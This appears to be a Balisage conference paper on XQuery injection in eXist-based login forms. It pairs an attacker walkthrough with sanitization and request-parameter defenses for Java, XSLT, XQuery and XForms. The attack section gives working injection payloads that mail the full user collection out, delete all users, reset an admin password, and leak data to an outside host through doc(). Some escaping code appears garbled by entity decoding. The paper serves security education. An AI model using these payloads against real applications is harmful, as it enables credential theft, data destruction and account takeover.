Balisage Paper: XQuery Injection

Scenario

If you develop an application that requires user interaction, you will probably need sooner or later some kind of user authentication, and if your application is powered by an XML database, you may want to store user information in this database.

In the Java world, Tomcat comes with a number of so called authentication "realms" for plain files, SQL databases or LDAP but there is no realm to use an XML database to store authentication information.

That's not really an issue since the realm interface is easy to implement. This interface has been designed so that you can store the passwords either as plain text or encrypted. Of course, it's safer (and recommended) to store encrypted passwords, but for the sake of this example, let's say you are lazy and store them as plain text. I'll spare you the details, but the real meat in your XML database realm will then be to return the password and roles for a user with a given login name.

If you are using an XML database such as eXist with its REST API, you will end up opening an URL with a Java statement such as:

new URL("http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=//user[mail=%27" + username + "%27]")

Attack

Let's put on a black hat and try to attack a site powered by an XML database that gives us a login screen such as this one:

Figure 1: Login Screen

We don't know the precise statement used by the realm to retrieve information or the database structure, but we assume that the authentication injects the content of HTML form somewhere into an XQuery as a literal string and hope the injection is done without proper sanitization.

We don't know either if the programmer has used a single or a double quote to isolate the content of the input form, but since that makes only two possibilities, we will just try both.

The trick is:

Let's take care of the syntactic sugar first.

We'll assume that the XQuery expression is following this generic pattern:

<URL>?_query=<PATH>[<SUBPATH> = ' <entry value> ']

Our entry value can follow this other pattern:

' or <ATTACK> or .='

After injection, the XQuery expression will look like:

<URL>?_query=<PATH>[<SUBPATH> = '' or <ATTACK> or .='']

The inner or expression has 3 alternatives. The first one will likely return false (the <SUBPATH> is meant to be the relative path to the user name and most applications won't tolerate empty user names in their databases. The XQuery processor will thus pull the trigger and evaluate the attack statement.

The attack must be an XQuery "Expr" production. That includes FLOWR expressions, but excludes declarations that belong to the prologue. In practice, that means that we can't use declare namespace declarations and that we need to embed an extension functions call into elements that declare their namespaces.

What kind of attack can we inject?

The first kind of attacks we can try won't break anything but export information from the database to the external world.

With eXist, this is possible using standard extension modules such as the HTTP client module or the mail module. These modules can be activated or deactivated in the eXist configuration file and we can't be sure that the attack will work but if one of them is activated we'll be able to export the user collection...

An attack based on the mail module looks like the following:

<foo xmlns:mail='http://exist-db.org/xquery/mail'>
{
    let $message :=
    <mail xmlns:util='http://exist-db.org/xquery/util'>
        <from>vdv@dyomedea.com</from>
        <to>vdv@dyomedea.com</to>
        <subject>eXist collection</subject>
        <message>
            <text>The collection is :
{util:serialize(/*, ())}
            </text>
        </message>
    </mail>

return mail:send-email($message, 'localhost', ()) 
}
</foo>

A similar attack could send the content of the collection on pastebin.com using the HTTP client module.

To inject the attack, we concatenate the start container string (' or ), the attack itself and the end container string ( or .='), normalize the spaces and paste the result into the login entry field.

The login screen will return a login error, but if we've been lucky we will receive a mail with the full content of the collection on which the query has been run.

If nothing happened, we might have used the wrong quote and we can try again replacing the single quotes from our container string by double quotes.

If nothing happens once again, which is the case with the naive REST URL construction used in this example, this might be because the application does not encode the query for URI. In that case, we must do it ourselves and encode the string before copying it into the entry field like the XPath 2.0 encode-for-uri() would do.

And then, bingo:

Figure 2: New message!

We have a new message with all the information we need to login:

Figure 3: The mail

The second kind of attack we can try uses the same technique deletes information from the database. A very simple and extreme one just erases anything from the collection and leaves empty document elements:

for $u in //user return update delete $u/(@*|node()

Note that, in both cases, we have not assumed anything about the database structure!

SQL injection attacks often try to generate errors messages that are displayed within the resulting HTML pages by careless sites and expose information about the database structure but that hasn't been necessary so far.

On this authentication form, generating errors would have been hopeless since Tomcat handles this safely and only exposes a "yes/no" answer to user entries and sends error messages to the server log but on other forms this could also be an option, leading to a third kind of attacks.

If we know the database structure for any reason (this could be because we've successfully leaked information in error messages, because the application's code is open sourced or because you've managed to introspect the database using functions such as xmldb;get-child-collections()), we can also update user information with forged authentication data:

    let $u := //user[role='orbeon-admin'][1]
        return (
            update value $u/mail with 'eric@example.com',
            update value $u/password with 'foobar'
        ) 

What about the doc() function?

It can be used to leak information to the external world:

'foo' = doc(concat('http://myserver.example.com/?root=', name(/*[1])))

Generic How To

The most common way to block these kind of attacks is to "escape" the dangerous characters or "sanitize" user inputs before sending them to the XQuery engine.

In an XQuery string literal, the "dangerous" characters are:

And that's all! These two replacements are enough to block code injections through string literals.

Of course, you also need to use a function such as encode-for-uri() so that the URL remains valid and to block injections through URL encoding.

The second way to block these attacks is to keep the values that are entered through web forms out of the query itself.

When using eXist, this can be done by encoding these values and sending them as URL query parameters. These parameters can then be retrieved using the request:get-parameter() extension function.

Which of these methods should we use?

There is no general rules and it's rather a matter of taste. That being said...

No Filters, Please!

It is common to see developers filtering values as a protection against SQL Injection and you could also do that as a protection against XQuery injection but in both cases this is often a bad idea!

Filtering user input is often a bad idea and whenever you do so you should be doing that for data quality reasons and not for security reasons since the constraints will very likely be different.

To protect this application against XQuery injection, we could have filtered out the user input to exclude simple quotes and that would have been effective (assuming we use a simple quote to delimit the string literal) but that would have given Tim O'Reilly a new opportunity to rant against dumb applications that do not accept is name as an input!

We've seen that it's as easy to sanitize user input than it would have been to filter it, so please, don't use filters for security!

Java

Assuming that we use single quotes to delimit XQuery string literals, inputs can be sanitized in Java using this function:

    static String sanitize(String text) {
         return text.replace("&", "&").replace("'", "'");
    }

Each user input must be sanitized separately and the whole query must then be encoded using the URLEncoder.encode() method. Depending on the context, it may also be a good idea to call an additional method such as trim() to remove leading and trailing space or toLowerCase() to normalize the value to lower case. In the authentication realm, the Java snippet could be:

     String query = URLEncoder.encode("//user[mail='" + sanitize(username.trim().toLowerCase()) + "']", "UTF-8");
     reader.parse(new InputSource(
             new URL("http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=" + query).openStream()));

To use request parameters, the query and each of the parameters need to be encoded separately:

     String query = URLEncoder.encode(
            "declare namespace request='http://exist-db.org/xquery/request';//user[mail=request:get-parameter('mail', 0)]",
            "UTF-8");
     String usernameNormalized = URLEncoder.encode(username.trim().toLowerCase(), "UTF-8");
     reader.parse(new InputSource(
            new URL("http://localhost:8080/orbeon/exist/rest/db/app/users/?mail="+ usernameNormalized + "&_query=" + query).openStream()));

To query is now a fixed string that could be stored in the eXist database or encoded in a static variable.

XPath 2.0 Environments

In environments that rely on XPath 2.0 such as XSLT 2.0, XProc, XPL,... the same patterns can be used if we replace the Java methods with their XPath 2.0 equivalents. In XSLT 2.0 it is possible to define a sanitize function similar to the one we've created in Java but this isn't the case for other host languages and we'll skip this step.

To sanitize user inputs in an XPath 2.0 host language, we need to add a level of escaping because the & character is not available directly but through the & entity reference. The XQuery query combines simple and double quotes that are not very easy to handle in a select attribute (even if the escaping rules of XPath 2.0 help a lot) and the query pieces can be put into variables for convenience. That being said, the user input can be sanitized using statements such as:

        <xsl:variable name="usernameSanitized"
            select="lower-case(normalize-space(replace(replace($username, '&amp;', '&amp;amp;'), '''', '&amp;apos;')))"/>
        <xsl:variable name="queryStart">//user[mail='</xsl:variable>
        <xsl:variable name="queryEnd">']</xsl:variable>
        <xsl:variable name="query" select="encode-for-uri(concat($queryStart, $usernameSanitized, $queryEnd))"/>
        <xsl:variable name="userInformation" 
             select="doc(concat('http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=', $query))"/>

To use request parameters, simply write something such as:

        <xsl:variable name="usernameNormalized" select="lower-case(normalize-space($username))"/>
        <xsl:variable name="query">
            declare namespace request='http://exist-db.org/xquery/request';
            //user[mail=request:get-parameter('mail',0)]</xsl:variable>
        <xsl:variable name="userInformation"
            select="doc(concat('http://localhost:8080/orbeon/exist/rest/db/app/users/?mail=', 
                    encode-for-uri($usernameNormalized) , '&amp;_query=', encode-for-uri($query)))"/>

Here again; the choice to normalize spaces and convert to lower case depends on the context.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:san="http://example.com/sanitization/"
    xmlns:xs="http://www.w3.org/2001/XMLSchema" exclude-result-prefixes="xs" version="2.0">
    
    <xsl:output method="text"/>
    
    <xsl:function name="san:sanitize-apos" as="xs:string">
        <xsl:param name="text" as="xs:string"/>
        <xsl:sequence select="replace(replace($text, '&amp;', '&amp;amp;'), '''', '&amp;apos;')"/>
    </xsl:function>
    <xsl:function name="san:sanitize-quot" as="xs:string">
        <xsl:param name="text" as="xs:string"/>
        <xsl:sequence select='replace(replace($text, "&amp;", "&amp;amp;"), """", "&amp;quot;")'/>
    </xsl:function>
    
    <xsl:template match="/">
        <xsl:value-of select="san:sanitize-apos(''' or ( for $u in //user return update delete $u/(@*|node() ) ) or .=''')"/>
    </xsl:template>
    
</xsl:stylesheet>

xquery version "1.0";

declare function local:sanitize-apos($text as xs:string) as xs:string {
        replace(replace($text, '&', '&'), '''', ''')
};

declare function local:sanitize-apos($text as xs:string) as xs:string {
        replace(replace($text, "&", "&"), """", """)
};


local:sanitize-apos(''' or ( for $u in //user return update delete $u/(@*|node() ) ) or .=''')

XForms

The problem is very similar in XForms with the difference that XForms is meant to deal with user input and that the chances that you'll hit the problem are significantly bigger!

The rule of thumb here again is: never inject a user input in an XQuery without sanitizing it or moving it out of the query using request parameters.

When using an implementation such as Orbeon Forms, that supports attribute value templates in resource attributes, it may be tempting to write submissions such as:

 <xforms:submission id="doSearch" method="get"
    resource="http://localhost:8080/orbeon/exist/rest/db/app/users/?_query=//user[mail='{instance('search')}']" 
    instance="result" replace="instance"/>

Unfortunately, this would be tantamount to the unsafe Java realm that we've used as our first example!

To secure this submission, we can just adapt one of the two methods used to secure XSLT accesses. This is especially straightforward with the Orbeon implementation that implements an xxforms:variable extension very similar to XSLT variables. You can also go with FLOWR expressions or use xforms:bind/@calculate definitions to store intermediate results and make them more readable but it is also possible to write a mega XPath 2.0 expression such as this one:

 <xforms:submission id="doSearch" method="get"
      resource="http://localhost:8080/orbeon/exist/rest/db/app/users/?_query={encode-for-uri(concat(
            '//user[mail=''', 
             lower-case(normalize-space(replace(replace(instance('search'), '&amp;', '&amp;amp;'), '''', '&amp;apos;'))), 
             ''']'))}"
      instance="result" replace="instance"/>

The same methods can be applied using query parameters:

  <xforms:submission id="doSearch" method="get"
     resource="http://localhost:8080/orbeon/exist/rest/db/app/users/?mail={
          encode-for-uri(lower-case(instance('search')))
        }&amp;_query={
          encode-for-uri('declare namespace request=''http://exist-db.org/xquery/request'';
                          //user[mail=request:get-parameter(''mail'',0)]')}"
      instance="result" replace="instance"/>

This is working, but we can do much simpler relying on XForms to do the encoding all by itself!. The complete XForms model would then be:

        <xforms:model>
            <xforms:instance id="search">
                <search xmlns="">
                    <mail/>
                    <_query>declare namespace request='http://exist-db.org/xquery/request';
                        //user[mail=request:get-parameter('mail',0)]</_query>
                </search>
            </xforms:instance>
            <xforms:instance id="result">
                <empty xmlns=""/>
            </xforms:instance>
            <xforms:submission id="doSearch" method="get" ref="instance('search')"
                resource="http://localhost:8080/orbeon/exist/rest/db/app/users/"
                instance="result" replace="instance"/>
        </xforms:model>

Related Attacks

We have explored in depth injections targeted on XQuery string literals. What about other injections on XML based applications?